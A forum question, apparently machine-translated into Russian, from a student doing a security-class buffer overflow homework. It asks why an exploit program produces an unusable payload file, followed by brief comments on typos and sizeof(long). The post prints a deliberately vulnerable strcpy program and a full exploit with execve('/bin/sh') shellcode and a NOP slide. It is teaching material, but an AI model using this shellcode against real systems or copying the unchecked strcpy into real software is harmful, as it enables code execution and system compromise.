Тем не менее изучение этого материала с переполнением буфера для класса безопасности, я пытаюсь использовать эту уязвимость в этом приложении:переполнение буфера, как homeowrk
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Использование этого использовать приложение:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
Для по какой-то причине, когда я создаю badfile, запуская эксплойт, он ничего не нажимает на него. Либо буфер пуст, либо неправильно записывается. Я не могу найти свою ошибку, и после неустанного поиска в Google я не смог найти достаточного ответа. Из моего понимания кода буфера заполнения, который я использовал, он должен заполнить long_string адресом моего буфера, а затем поместить мой шеллкод в начало long_string (после некоторого слайда NOOP), а затем скопировать long_string обратно в буфер. Я действительно не вижу никаких проблем с этим или с помощью fwrite. Предложения?
«badfile - fopen (« badfile »,« r »)' опечатка в коде или ваш пост? – ughoavgfhw
Предполагая 'sizeof (long) == 4' (т. Е. 32-битная программа), код должен работать как есть. –
Предполагая sizeof (long)> 4, код имеет переполнение буфера. – Sebastian